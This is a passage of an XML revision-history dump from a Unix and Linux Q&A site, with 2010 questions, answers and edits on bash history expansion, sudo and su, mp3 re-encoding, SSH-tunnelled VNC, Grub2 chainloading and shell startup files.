  <row Id="6433" PostHistoryTypeId="2" PostId="3061" RevisionGUID="4c60e5ba-42b7-432a-b010-1136c7a720f2" CreationDate="2010-10-13T13:58:27.190" UserId="73" Text="As [Richm said](http://unix.stackexchange.com/questions/3051/how-to-echo-a-bang/3053#3053), bash is trying to do a [history match](http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-line-features-or-tricks/67#67). Another way to avoid it is to just escape the bang with a `\`:&#xD;&#xA;&#xD;&#xA;    $ echo &quot;\!&quot;&#xD;&#xA;    !&#xD;&#xA;    &#xD;&#xA;    $ echo \#\!/bin/bash&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6434" PostHistoryTypeId="2" PostId="3062" RevisionGUID="154f7ddc-ff05-4169-aad3-3c564a407aa8" CreationDate="2010-10-13T14:11:51.170" UserId="73" Text="It's not necessarily in its own package, and it's not necessarily in a package named `xfontsel`. [This site](http://rpm.pbone.net/index.php3/stat/4/idpl/11442108/dir/fedora_6/com/xorg-x11-utils-7.1-2.fc6.x86_64.rpm.html) leads me to believe it's part of **`xorg-x11-utils`**, so installing that should work" />
  <row Id="6435" PostHistoryTypeId="2" PostId="3063" RevisionGUID="87937d76-a693-4a88-9283-922a99f770ca" CreationDate="2010-10-13T14:55:02.870" UserId="1327" Text="Someone said I should run a `command` as root. How do I do this?" />
  <row Id="6436" PostHistoryTypeId="1" PostId="3063" RevisionGUID="87937d76-a693-4a88-9283-922a99f770ca" CreationDate="2010-10-13T14:55:02.870" UserId="1327" Text="How do I run a command as root" />
  <row Id="6437" PostHistoryTypeId="3" PostId="3063" RevisionGUID="87937d76-a693-4a88-9283-922a99f770ca" CreationDate="2010-10-13T14:55:02.870" UserId="1327" Text="érootà" />
  <row Id="6438" PostHistoryTypeId="2" PostId="3064" RevisionGUID="6cbfdb6a-8eab-44c1-84e4-466659cb5fe9" CreationDate="2010-10-13T15:14:08.327" UserDisplayName="Gary" Text="sudo&#xD;&#xA;&#xD;&#xA;The man page will explain how to use it." />
  <row Id="6439" PostHistoryTypeId="5" PostId="3064" RevisionGUID="b1be21a2-7047-4f96-b387-bfc63965d951" CreationDate="2010-10-13T15:17:21.020" UserId="1207" Comment="added 109 characters in body" Text="Use `sudo`:&#xD;&#xA;&#xD;&#xA;    sudo command&#xD;&#xA;&#xD;&#xA;The [man page][1] will explain how to use it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man8/sudo.8.html" />
  <row Id="6440" PostHistoryTypeId="2" PostId="3065" RevisionGUID="d7539241-f88f-4ef7-aa82-e9abd6d6b9a2" CreationDate="2010-10-13T15:22:52.410" UserId="1207" Text="Use `su`:&#xD;&#xA;&#xD;&#xA;    su -c command&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    su&#xD;&#xA;    command&#xD;&#xA;    exit&#xD;&#xA;&#xD;&#xA;In either case, you will be prompted for the `root` password.  For more information, see [the manual page][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man1/su.1.html" />
  <row Id="6441" PostHistoryTypeId="5" PostId="3064" RevisionGUID="aafe5ca9-874b-468a-8a76-45d14e6d50d5" CreationDate="2010-10-13T15:31:19.847" UserId="1207" Comment="added 362 characters in body" Text="If it is installed and configured correctedly, use `sudo`:&#xD;&#xA;&#xD;&#xA;    $ sudo command&#xD;&#xA;&#xD;&#xA;You will be prompted for *your* password.  If you need to run a number of commands as root, try,&#xD;&#xA;&#xD;&#xA;    $ sudo -i&#xD;&#xA;    # command 1&#xD;&#xA;    # command 2&#xD;&#xA;    ...&#xD;&#xA;    # exit&#xD;&#xA;&#xD;&#xA;See the [manual page][1] for more information. `sudo` is the canonical way to run a command as `root` if you are using **Ubuntu**, but it is also available on a variety of other systems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man8/sudo.8.html" />
  <row Id="6442" PostHistoryTypeId="5" PostId="3065" RevisionGUID="c9d3da68-24c5-4596-95b1-ad46d6800614" CreationDate="2010-10-13T15:32:07.910" UserId="1207" Comment="added 8 characters in body" Text="Use `su`:&#xD;&#xA;&#xD;&#xA;    $ su -c command&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    $ su&#xD;&#xA;    # command&#xD;&#xA;    # exit&#xD;&#xA;&#xD;&#xA;In either case, you will be prompted for the `root` password.  For more information, see [the manual page][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man1/su.1.html" />
  <row Id="6443" PostHistoryTypeId="2" PostId="3066" RevisionGUID="46d4a7a9-a2c0-423e-ba60-323b7d3b9731" CreationDate="2010-10-13T15:39:15.147" UserId="2274" Text="I recently had Global Shortcuts stop working in KDE 4.&#xD;&#xA;&#xD;&#xA;I asked around on forums and chat rooms for solutions. Some people mentioned kded.&#xD;&#xA;&#xD;&#xA;I tried reinstalling.&#xD;&#xA;&#xD;&#xA;After about a week I upgraded all my packages were back to normal.&#xD;&#xA;&#xD;&#xA;However, I still don't know what runs and causes Global Shortcuts to work and would like this to be clarified if anyone knows.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="6444" PostHistoryTypeId="1" PostId="3066" RevisionGUID="46d4a7a9-a2c0-423e-ba60-323b7d3b9731" CreationDate="2010-10-13T15:39:15.147" UserId="2274" Text="How do I fix Global Shortcuts when they stop working in KDE?" />
  <row Id="6445" PostHistoryTypeId="3" PostId="3066" RevisionGUID="46d4a7a9-a2c0-423e-ba60-323b7d3b9731" CreationDate="2010-10-13T15:39:15.147" UserId="2274" Text="ékdeà" />
  <row Id="6446" PostHistoryTypeId="2" PostId="3067" RevisionGUID="c599c25a-5719-4db7-86dc-a7623f492975" CreationDate="2010-10-13T15:56:29.043" UserId="1941" Text="You can find out which package ships a given binary under Fedora like this:&#xD;&#xA;&#xD;&#xA;    yum provides /usr/bin/xfontsel&#xD;&#xA;&#xD;&#xA;however this only works if you know the name and directory of the executable. Indeed for xfontsel it is xorg-x11-utils as already stated by Michael:&#xD;&#xA;&#xD;&#xA;    $ yum provides /usr/bin/xfontsel&#xD;&#xA;    Loaded plugins: fastestmirror, presto, refresh-packagekit&#xD;&#xA;    Loading mirror speeds from cached hostfile&#xD;&#xA;     * fedora: mirror.nl.as6453.net&#xD;&#xA;     * livna: ftp-stud.fht-esslingen.de&#xD;&#xA;     * rpmfusion-free: mirror.telepoint.bg&#xD;&#xA;     * rpmfusion-free-updates: mirror.telepoint.bg&#xD;&#xA;     * rpmfusion-nonfree: mirror.telepoint.bg&#xD;&#xA;     * rpmfusion-nonfree-updates: mirror.telepoint.bg&#xD;&#xA;     * updates: mirror.nl.as6453.net&#xD;&#xA;    xorg-x11-apps-7.4-13.fc13.i686 : X.Org X11 applications&#xD;&#xA;    Repo        : fedora&#xD;&#xA;    Matched from:&#xD;&#xA;    Filename    : /usr/bin/xfontsel&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    xorg-x11-apps-7.4-14.fc13.i686 : X.Org X11 applications&#xD;&#xA;    Repo        : updates&#xD;&#xA;    Matched from:&#xD;&#xA;    Filename    : /usr/bin/xfontsel&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    xorg-x11-apps-7.4-14.fc13.i686 : X.Org X11 applications&#xD;&#xA;    Repo        : installed&#xD;&#xA;    Matched from:&#xD;&#xA;    Other       : Provides-match: /usr/bin/xfontsel" />
  <row Id="6447" PostHistoryTypeId="5" PostId="2016" RevisionGUID="f179c741-c3b6-41db-a774-d8c4c3db38bd" CreationDate="2010-10-13T16:03:24.493" UserId="1327" Comment="added 4 characters in body" Text="I found the answer on [Arch Linux Forums][1]&#xD;&#xA;&#xD;&#xA;Since pacman 3.4 you can use&#xD;&#xA;&#xD;&#xA;    # pacman -D&#xD;&#xA;&#xD;&#xA;to modify *only* the database. So: &#xD;&#xA;&#xD;&#xA;    # pacman -D --asexplicit &lt;pkgs&gt;&#xD;&#xA;&#xD;&#xA;will make `&lt;pkgs&gt;`  **explicitly installed**.&#xD;&#xA;&#xD;&#xA;[1]:https://bbs.archlinux.org/viewtopic.php?pid=825936#p825936" />
  <row Id="6448" PostHistoryTypeId="5" PostId="3064" RevisionGUID="87f09ccf-9d93-4db3-a00b-cbebef354aba" CreationDate="2010-10-13T16:21:22.553" UserId="1327" Comment="deleted 2 characters in body" Text="If it is installed and configured correctly, use `sudo`:&#xD;&#xA;&#xD;&#xA;    $ sudo command&#xD;&#xA;&#xD;&#xA;You will be prompted for *your* password.  If you need to run a number of commands as root, try,&#xD;&#xA;&#xD;&#xA;    $ sudo -i&#xD;&#xA;    # command 1&#xD;&#xA;    # command 2&#xD;&#xA;    ...&#xD;&#xA;    # exit&#xD;&#xA;&#xD;&#xA;See the [manual page][1] for more information. `sudo` is the canonical way to run a command as `root` if you are using **Ubuntu**, but it is also available on a variety of other systems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man8/sudo.8.html" />
  <row Id="6449" PostHistoryTypeId="2" PostId="3068" RevisionGUID="92cbc0ca-45b8-4639-a4b2-bbc3c256e315" CreationDate="2010-10-13T17:05:43.003" UserId="2150" Text="I have a fair number of mp3 files which I created using audiohijack pro on a mac.  Now I no longer have a mac and am using them on my linux systems.  Unfortunately the program I use (rhythmbox) to listen to these files cannot figure out how long the files are.  These files are up to 5 hours long, and when the program cannot figure out how long it is I can't scroll through the file.  Any unix/linux programs that can reencode these files?  I do not know enough about either audio on linux or the mp3 file format to know what would be involved in this.&#xD;&#xA;&#xD;&#xA;Best,&#xD;&#xA;Bart" />
  <row Id="6450" PostHistoryTypeId="1" PostId="3068" RevisionGUID="92cbc0ca-45b8-4639-a4b2-bbc3c256e315" CreationDate="2010-10-13T17:05:43.003" UserId="2150" Text="How to &quot;reencode&quot; mp3 files." />
  <row Id="6451" PostHistoryTypeId="3" PostId="3068" RevisionGUID="92cbc0ca-45b8-4639-a4b2-bbc3c256e315" CreationDate="2010-10-13T17:05:43.003" UserId="2150" Text="éaudioàémp3à" />
  <row Id="6452" PostHistoryTypeId="2" PostId="3069" RevisionGUID="9f3bb4bf-cc9c-4e93-a77d-a6b31d20ba0e" CreationDate="2010-10-13T17:13:49.360" UserId="2138" Text="At least in Debian and Ubuntu, you can install the `trash-cli` package. This provides a number of commands for working with FreeDesktop.org Trash Specification compliant trash cans, like GNOME's.&#xD;&#xA;&#xD;&#xA;    /usr/bin/trash&#xD;&#xA;    /usr/bin/list-trash&#xD;&#xA;    /usr/bin/restore-trash&#xD;&#xA;    /usr/bin/empty-trash&#xD;&#xA;&#xD;&#xA;To remove all trashed files, use `emtpy-trash`. It can also just remove files that have been in the trash more than a certain number of days. Use `empty-trash x`, where &quot;x&quot; represents the number of days.&#xD;&#xA;&#xD;&#xA;I personally have set up a cron job that runs daily to get rid of trash over a week old. &#xD;&#xA;" />
  <row Id="6453" PostHistoryTypeId="2" PostId="3070" RevisionGUID="8f5fb7b3-0b3d-4db4-90d3-be0eb1d8c9ce" CreationDate="2010-10-13T17:34:35.847" UserId="29" Text="Try [LAME][1] I should warn you that re-encoding may (probably) result in quality loss.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lame.sourceforge.net/" />
  <row Id="6454" PostHistoryTypeId="2" PostId="3071" RevisionGUID="f508ffc7-0406-467e-9ee6-ed261e3107a6" CreationDate="2010-10-13T17:36:21.940" UserId="2138" Text="Graphical programs should not be run with sudo. The correct way is to use `kdesudo` in KDE for running GUI programs as root, or `gksu` in GNOME.&#xD;&#xA;&#xD;&#xA;Running graphical programs as root has the potential to cause serious issues, that is why the wrappers are provided. Read [this Arch mailing list thread][1] for a serious issue that you could encounter trying to trick `sudo` into launching a GUI app.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mail-archive.com/arch@archlinux.org/msg04963.html" />
  <row Id="6456" PostHistoryTypeId="2" PostId="3073" RevisionGUID="d9a003a5-d993-4100-8f41-cba518881038" CreationDate="2010-10-13T17:59:28.697" UserId="614" Text="Is there a way to show the current row and column position in **vi**?   In **vim**, I know there is the `set ruler` command, but what are my options when using **vi**?" />
  <row Id="6457" PostHistoryTypeId="1" PostId="3073" RevisionGUID="d9a003a5-d993-4100-8f41-cba518881038" CreationDate="2010-10-13T17:59:28.697" UserId="614" Text="What is a vi equivalent of vim's 'set ruler' command?" />
  <row Id="6458" PostHistoryTypeId="3" PostId="3073" RevisionGUID="d9a003a5-d993-4100-8f41-cba518881038" CreationDate="2010-10-13T17:59:28.697" UserId="614" Text="éunixàévimà" />
  <row Id="6459" PostHistoryTypeId="6" PostId="3073" RevisionGUID="39705272-f57f-4917-8d4e-3149dbe6a882" CreationDate="2010-10-13T18:01:42.050" UserId="73" Comment="edited tags" Text="éunixàévimàévià" />
  <row Id="6461" PostHistoryTypeId="2" PostId="3074" RevisionGUID="44ff5043-d960-45b6-8dac-69fd7461f0aa" CreationDate="2010-10-13T18:33:37.917" UserId="885" Text="`!` starts a history substitution (an “event” is a line in the command history); for example `!ls` expands to the last command beginning with `ls`, and `!?foo` expands to the last command containing `foo`. You can also extract specific words (e.g. `!!:1` refers to the first word of the previous command) and more; see the manual for details.&#xD;&#xA;&#xD;&#xA;This feature was invented to quickly recall previous commands in the days when command line edition was primitive. With modern shells (at least bash and zsh) and copy-and-paste, history expansion is not as useful as it used to be — it's still helpful, but you can get by without it.&#xD;&#xA;&#xD;&#xA;You can change which character triggers history substitution by setting the `histchars` variable; if you rarely use history substitution, you can set e.g. `histchars='¡^'` so that `¡` triggers history expansion instead of `!`. You can even turn off the feature altogether with `set +o histexpand`.&#xD;&#xA;" />
  <row Id="6462" PostHistoryTypeId="2" PostId="3075" RevisionGUID="c7ed1f56-fbf3-493e-aa06-c738bdd95d2d" CreationDate="2010-10-13T18:34:04.873" UserId="250" Text="This is really getting me down. I have Gentoo and Ubuntu, both with Grub2. Gentoo has a dedicated `/boot` partition, while Ubuntu does not. I have a `menuentry` in Gentoo's `/etc/grub.d/40_custom` to boot Ubuntu.&#xD;&#xA;&#xD;&#xA;Because Ubuntu comes with Grub I want to chainload into that one, instead of maintaining my entry which sets the root, kernel, initrd and stuff. This is what I have for the chainloader (Ubuntu is on `/dev/sda4` and I have already installed Grub there):&#xD;&#xA;&#xD;&#xA;    menuentry 'Chainloader' {&#xD;&#xA;        insmod chain&#xD;&#xA;        set root=(hd0,4)&#xD;&#xA;        chainloader +1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;It is giving me `error: Invalid signature` and I found no solution available. Can someone point out something?" />
  <row Id="6463" PostHistoryTypeId="1" PostId="3075" RevisionGUID="c7ed1f56-fbf3-493e-aa06-c738bdd95d2d" CreationDate="2010-10-13T18:34:04.873" UserId="250" Text="Chainload two Grub2 installations" />
  <row Id="6464" PostHistoryTypeId="3" PostId="3075" RevisionGUID="c7ed1f56-fbf3-493e-aa06-c738bdd95d2d" CreationDate="2010-10-13T18:34:04.873" UserId="250" Text="égrubàédualöbootà" />
  <row Id="6465" PostHistoryTypeId="2" PostId="3076" RevisionGUID="0b83e4ae-5d3f-4dba-a547-d1368d48597f" CreationDate="2010-10-13T19:12:11.487" UserId="1207" Text="While I do not know specifically whether additional options would be needed to fix the issue you mention, [ffmpeg][1] is &#xD;&#xA;&#xD;&#xA;&gt; a complete, cross-platform solution to record, convert and stream audio and video.&#xD;&#xA;&#xD;&#xA;It is the swiss-army knife for audio and video.  Re-encoding your files should be as easy as&#xD;&#xA;&#xD;&#xA;    $ ffmpeg -i oldfile.mp3 newfile.mp3&#xD;&#xA;&#xD;&#xA;`ffmpeg` is in the repositories of most major distributions or it can be downloaded from their website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ffmpeg.org/" />
  <row Id="6466" PostHistoryTypeId="2" PostId="3077" RevisionGUID="ba6874be-8e14-4d5e-b8c0-25c2d8360324" CreationDate="2010-10-13T19:29:38.223" UserId="1679" Text="When I do `ls -l | grep ^d` it lists only directories in the current directory. &#xD;&#xA;&#xD;&#xA;What I'd like to know is what does the carrot `^` in `^d` mean?" />
  <row Id="6467" PostHistoryTypeId="1" PostId="3077" RevisionGUID="ba6874be-8e14-4d5e-b8c0-25c2d8360324" CreationDate="2010-10-13T19:29:38.223" UserId="1679" Text="What does ^d mean in ls -l | grep ^d?" />
  <row Id="6468" PostHistoryTypeId="3" PostId="3077" RevisionGUID="ba6874be-8e14-4d5e-b8c0-25c2d8360324" CreationDate="2010-10-13T19:29:38.223" UserId="1679" Text="écommandölineà" />
  <row Id="6469" PostHistoryTypeId="2" PostId="3078" RevisionGUID="9ba21f63-886c-4278-8b97-c8f8d8f3cbf9" CreationDate="2010-10-13T19:32:32.233" UserId="1325" Text="Hi, &#xD;&#xA; At the office I have on the servers a vnc server running. In Windows I use putty to connect to the server, I log in and then use realvnc to see the desktop. But I cannot get this to work on Linux. I have done it in the past struggling but never again. What I have done is try to bind my localhost to the port 5901 and then to the port 5901 on the server machine&#xD;&#xA;&#xD;&#xA;    ssh -L localhost:5901:server.dog.com:5901 vass@server.dog.com&#xD;&#xA;&#xD;&#xA;I am using the vnc client &quot;remote desktop viewer&quot;.&#xD;&#xA;Best," />
  <row Id="6470" PostHistoryTypeId="1" PostId="3078" RevisionGUID="9ba21f63-886c-4278-8b97-c8f8d8f3cbf9" CreationDate="2010-10-13T19:32:32.233" UserId="1325" Text="vnc over ssh port assignment" />
  <row Id="6471" PostHistoryTypeId="3" PostId="3078" RevisionGUID="9ba21f63-886c-4278-8b97-c8f8d8f3cbf9" CreationDate="2010-10-13T19:32:32.233" UserId="1325" Text="ésshàévncàéportsà" />
  <row Id="6472" PostHistoryTypeId="2" PostId="3079" RevisionGUID="08086317-8343-43e8-8d25-3d02c2cfbf3f" CreationDate="2010-10-13T19:34:03.867" UserId="1860" Text="That's a caret, not a carrot.  It means &quot;beginning of the line.&quot;  It's matching only lines that start with &quot;d&quot;." />
  <row Id="6473" PostHistoryTypeId="5" PostId="3077" RevisionGUID="8f9f7c77-6b62-411f-8674-8e314d6c9068" CreationDate="2010-10-13T19:40:29.373" UserId="73" Comment="deleted 1 characters in body" Text="When I do `ls -l | grep ^d` it lists only directories in the current directory. &#xD;&#xA;&#xD;&#xA;What I'd like to know is what does the caret `^` in `^d` mean?" />
  <row Id="6474" PostHistoryTypeId="2" PostId="3080" RevisionGUID="f13ef47e-ec41-45e1-ad58-af6e4b1471df" CreationDate="2010-10-13T19:41:24.503" UserId="102" Text="It does not answer the question in your title, but maybe there's a chance to fix the files without reencoding. For example, one common issue with incorrect lengths of MP3 files are files with variable bit rate that are not properly marked as having a variable bit rate (and programs like rhythmbox treating them as if they had a constant one). The tool [vbrfix][1] can fix those files. Another useful tool to check the MP3 file is [mp3check][2], it also has options like ``--fix-headers`` that might repair the files (make backups of the files first!).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://home.gna.org/vbrfix/&#xD;&#xA;  [2]: http://jo.ath.cx/soft/mp3check/" />
  <row Id="6475" PostHistoryTypeId="6" PostId="3077" RevisionGUID="6c43c507-39db-465c-86fe-d15e6027dc09" CreationDate="2010-10-13T19:42:25.780" UserId="102" Comment="edited tags" Text="écommandölineàégrepàéspecialöcharactersà" />
  <row Id="6476" PostHistoryTypeId="2" PostId="3081" RevisionGUID="32e7906f-e4d2-49f9-a263-7bce3de8144b" CreationDate="2010-10-13T19:43:51.493" UserId="73" Text="[Andy's answer](http://unix.stackexchange.com/questions/3077/what-does-d-mean-in-ls-l-grep-d/3079#3079) is correct, as seen in the man page:&#xD;&#xA;&#xD;&#xA;&gt; **Anchoring**&#xD;&#xA;&#xD;&#xA;&gt; The caret ^ and the dollar sign $ are meta-characters that respectively match the empty string at the beginning and end of a line.&#xD;&#xA;&#xD;&#xA;The reason it works is the `-l` flag to `ls` makes it use the long-listing format. The first thing shown in each line is the human-readable permissions for the file, and the first character of that is either `d` for a directory or `-` for a file" />
  <row Id="6477" PostHistoryTypeId="5" PostId="3079" RevisionGUID="cfe9fd68-32a5-4c68-bdfe-d67ff0133b09" CreationDate="2010-10-13T19:46:50.427" UserId="1860" Comment="clarify sentence" Text="That's a caret, not a carrot.  It means &quot;beginning of the line.&quot;  The grep is matching only lines that start with &quot;d&quot;." />
  <row Id="6478" PostHistoryTypeId="2" PostId="3082" RevisionGUID="db89d4f4-354c-4252-a65b-0fe90915ae09" CreationDate="2010-10-13T20:00:15.143" UserId="5" Text="Try `ssh -f -L 5901:localhost:5901 server.dog.com -N`" />
  <row Id="6479" PostHistoryTypeId="5" PostId="3064" RevisionGUID="b4060f6b-e366-4215-ab08-4a72c21c878e" CreationDate="2010-10-13T20:22:49.037" UserId="1327" Comment="added 1580 characters in body" Text="If it is installed and configured correctly, use `sudo`:&#xD;&#xA;&#xD;&#xA;    $ sudo command&#xD;&#xA;&#xD;&#xA;You will be prompted for *your* password.  If you need to run a number of commands as root, try,&#xD;&#xA;&#xD;&#xA;    $ sudo -i&#xD;&#xA;    # command 1&#xD;&#xA;    # command 2&#xD;&#xA;    ...&#xD;&#xA;    # exit&#xD;&#xA;&#xD;&#xA;See the [manual page][1] for more information. `sudo` is the canonical way to run a command as `root` if you are using **Ubuntu**, but it is also available on a variety of other systems.&#xD;&#xA;&#xD;&#xA;I guess that appart from using `sudo` or `su` ( please see the other answers ) to &quot;become root&quot;, you can always **log in** as root.&#xD;&#xA;&#xD;&#xA;**Use the root account with extreme cation**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;A few other applications that use `sudo` or `su` ( from [wikipedia][2])&#xD;&#xA;&#xD;&#xA;**PolicyKit:**  &#xD;&#xA;&gt; A new privilege authorization feature, currently included with GNOME,&#xD;&#xA;&gt; but designed to be independent of the desktop environment in use.&#xD;&#xA;&gt; In contrast to earlier systems, applications using PolicyKit never&#xD;&#xA;&gt; run with privileges above those of the current user. Instead, they indirectly&#xD;&#xA;&gt; make requests of the PolicyKit daemon, which is the only program that runs&#xD;&#xA;&gt; as root.&#xD;&#xA;&#xD;&#xA;**GKSu** and **GKsudo:**&#xD;&#xA;&#xD;&#xA;&gt; Graphical frontend to su and sudo. GKsu comes up automatically&#xD;&#xA;&gt; when a supported application needs to perform an action&#xD;&#xA;&gt; requiring root privileges. A replacement, &quot;gksu PolicyKit&quot;,&#xD;&#xA;&gt; which uses PolicyKit rather than su/sudo, is being developed as part of GNOME&#xD;&#xA;&#xD;&#xA;**Kdesu:**&#xD;&#xA;&gt; A graphical front-end to the su command.&#xD;&#xA;&#xD;&#xA;**kdesudo:**&#xD;&#xA;&gt; A graphical front-end to sudo that has replaced kdesu in Kubuntu, starting with the Gutsy Gibbon Tribe 5 pre-release version.&#xD;&#xA;&#xD;&#xA;**Ktsuss:**&#xD;&#xA;&gt; ktsuss stands for &quot;keep the su simple, stupid&quot;, and is a graphical version of su. The idea of the project is to remain simple and bug free.&#xD;&#xA;&#xD;&#xA;**beesu:**&#xD;&#xA;&gt; A graphical front-end to the su command that has replaced gksu in Red Hat based operating systems. It has been developed mainly for RHEL and Fedora.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man8/sudo.8.html&#xD;&#xA;  [2]:http://en.wikipedia.org/wiki/Comparison_of_privilege_authorization_features" />
  <row Id="6481" PostHistoryTypeId="5" PostId="3064" RevisionGUID="bbba8a5d-eb60-4637-a79e-0741a3044017" CreationDate="2010-10-13T20:39:16.383" UserId="1327" Comment="deleted 46 characters in body" Text="If it is installed and configured correctly, use `sudo`:&#xD;&#xA;&#xD;&#xA;    $ sudo command&#xD;&#xA;&#xD;&#xA;You will be prompted for *your* password.  If you need to run a number of commands as root, try,&#xD;&#xA;&#xD;&#xA;    $ sudo -i&#xD;&#xA;    # command 1&#xD;&#xA;    # command 2&#xD;&#xA;    ...&#xD;&#xA;    # exit&#xD;&#xA;&#xD;&#xA;See the [manual page][1] for more information. `sudo` is the canonical way to run a command as `root` if you are using **Ubuntu**, but it is also available on a variety of other systems.&#xD;&#xA;&#xD;&#xA;Appart from using `sudo` or `su` to &quot;become root&quot;, you can always **log in** as root.&#xD;&#xA;&#xD;&#xA;**Use the root account with extreme cation**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;A few other applications that use `sudo` or `su` ( from [wikipedia][2])&#xD;&#xA;&#xD;&#xA;**PolicyKit:**  &#xD;&#xA;&gt; A new privilege authorization feature, currently included with GNOME,&#xD;&#xA;&gt; but designed to be independent of the desktop environment in use.&#xD;&#xA;&gt; In contrast to earlier systems, applications using PolicyKit never&#xD;&#xA;&gt; run with privileges above those of the current user. Instead, they indirectly&#xD;&#xA;&gt; make requests of the PolicyKit daemon, which is the only program that runs&#xD;&#xA;&gt; as root.&#xD;&#xA;&#xD;&#xA;**GKSu** and **GKsudo:**&#xD;&#xA;&#xD;&#xA;&gt; Graphical frontend to su and sudo. GKsu comes up automatically&#xD;&#xA;&gt; when a supported application needs to perform an action&#xD;&#xA;&gt; requiring root privileges. A replacement, &quot;gksu PolicyKit&quot;,&#xD;&#xA;&gt; which uses PolicyKit rather than su/sudo, is being developed as part of GNOME&#xD;&#xA;&#xD;&#xA;**Kdesu:**&#xD;&#xA;&gt; A graphical front-end to the su command.&#xD;&#xA;&#xD;&#xA;**kdesudo:**&#xD;&#xA;&gt; A graphical front-end to sudo that has replaced kdesu in Kubuntu, starting with the Gutsy Gibbon Tribe 5 pre-release version.&#xD;&#xA;&#xD;&#xA;**Ktsuss:**&#xD;&#xA;&gt; ktsuss stands for &quot;keep the su simple, stupid&quot;, and is a graphical version of su. The idea of the project is to remain simple and bug free.&#xD;&#xA;&#xD;&#xA;**beesu:**&#xD;&#xA;&gt; A graphical front-end to the su command that has replaced gksu in Red Hat based operating systems. It has been developed mainly for RHEL and Fedora.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man8/sudo.8.html&#xD;&#xA;  [2]:http://en.wikipedia.org/wiki/Comparison_of_privilege_authorization_features" />
  <row Id="6482" PostHistoryTypeId="2" PostId="3083" RevisionGUID="caa7dd9e-25f2-4aae-b741-c0b2f68fe24f" CreationDate="2010-10-13T20:50:24.047" UserId="1941" Text="You can do `set number` to show the line number at the beginning of each line. However, in original vi, there doesn't seem to be an option to show the current column. &#xD;&#xA;&#xD;&#xA;There is a way to at least position the cursor at a specific column. Do `25|` to position the cursor at column 25 of the current line." />
  <row Id="6483" PostHistoryTypeId="2" PostId="3084" RevisionGUID="5044af3c-248a-4901-85b8-d5eabf4d536e" CreationDate="2010-10-13T21:13:28.780" UserId="1941" Text="The initial part of the boot up process consists of loading code from the first sector of the hard drive, the so called [Master Boot Record (MBR)][1]. Normally, Grub is written into this first hard drive sector and *not* into the first sector of the partition holding /boot. However, you can normally change this during Linux install but in modern installation routines, this is often hidden. &#xD;&#xA;&#xD;&#xA;You say that you have Grub installed into /dev/sda4, however your config looks correct and the error message you posted suggests, that Grub might not be installed correctly into the partition you want to chainload. You should boot into Gentoo, then chroot into the Ubuntu partition. Make sure that /boot now points correctly to the Ubuntu-/boot and not the Gentoo one! Now install Grub 2 into the first sector of the Ubuntu-Partition /dev/sda4: `grub-install /dev/sda4 --no-floppy`.&#xD;&#xA;&#xD;&#xA;As always when fiddling with MBR and partitions, make sure you have a functional, up-to-date backup before you start.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Master_Boot_Record" />
  <row Id="6484" PostHistoryTypeId="2" PostId="3085" RevisionGUID="0c7942df-c1e5-4e77-94a2-97b5672001c0" CreationDate="2010-10-13T21:21:32.710" UserId="885" Text="`~/.profile` is the right place for environment variable definitions and for non-graphical programs that you want to run when you log in (e.g. `ssh-agent`, `screen -m`). It is executed by your login shell if that is a Bourne-style shell (sh, ksh, bash). Zsh runs `~/.zprofile` instead, and Csh and tcsh run `~/.login`.&#xD;&#xA;&#xD;&#xA;If you log in under an X display manager (xdm, gdm, kdm, ...), whether `~/.profile` is run depends how your display manager and perhaps desktop environment were configured by your distribution. If you log in under a “custom session”, that usually executes `~/.xsession`.&#xD;&#xA;&#xD;&#xA;`~/.bashrc` is the right place for bash-specific settings, such as aliases, functions, shell options and prompts. As the name indicates, it is specific to bash; csh has `~/.cshrc`, ksh has `~/.kshrc`, and zsh has &amp;lt;drumroll&amp;gt; `~/.zshrc`.&#xD;&#xA;&#xD;&#xA;See also:  &#xD;&#xA;[Difference between .bashrc and .bash_profile](http://superuser.com/questions/183870/difference-between-bashrc-and-bash-profile)  &#xD;&#xA;[Which setup files should be used for setting up environment variables with bash?](http://superuser.com/questions/183845/which-setup-files-should-be-used-for-setting-up-environment-variables-with-bash)  &#xD;&#xA;[Zsh not hitting ~/.profile](http://superuser.com/questions/187639/zsh-not-hitting-profile)  &#xD;&#xA;" />
  <row Id="6485" PostHistoryTypeId="2" PostId="3086" RevisionGUID="fb6eb9a3-96cd-4b66-a04c-2a0fad7911da" CreationDate="2010-10-13T21:47:17.170" UserId="1791" Text="Is there such a thing as a full-text indexing engine, that can be queried from the command line and doesn't force you to use gtk, or even worse qt ?&#xD;&#xA;" />
  <row Id="6486" PostHistoryTypeId="1" PostId="3086" RevisionGUID="fb6eb9a3-96cd-4b66-a04c-2a0fad7911da" CreationDate="2010-10-13T21:47:17.170" UserId="1791" Text="Cli-friendly full-text indexing ?" />
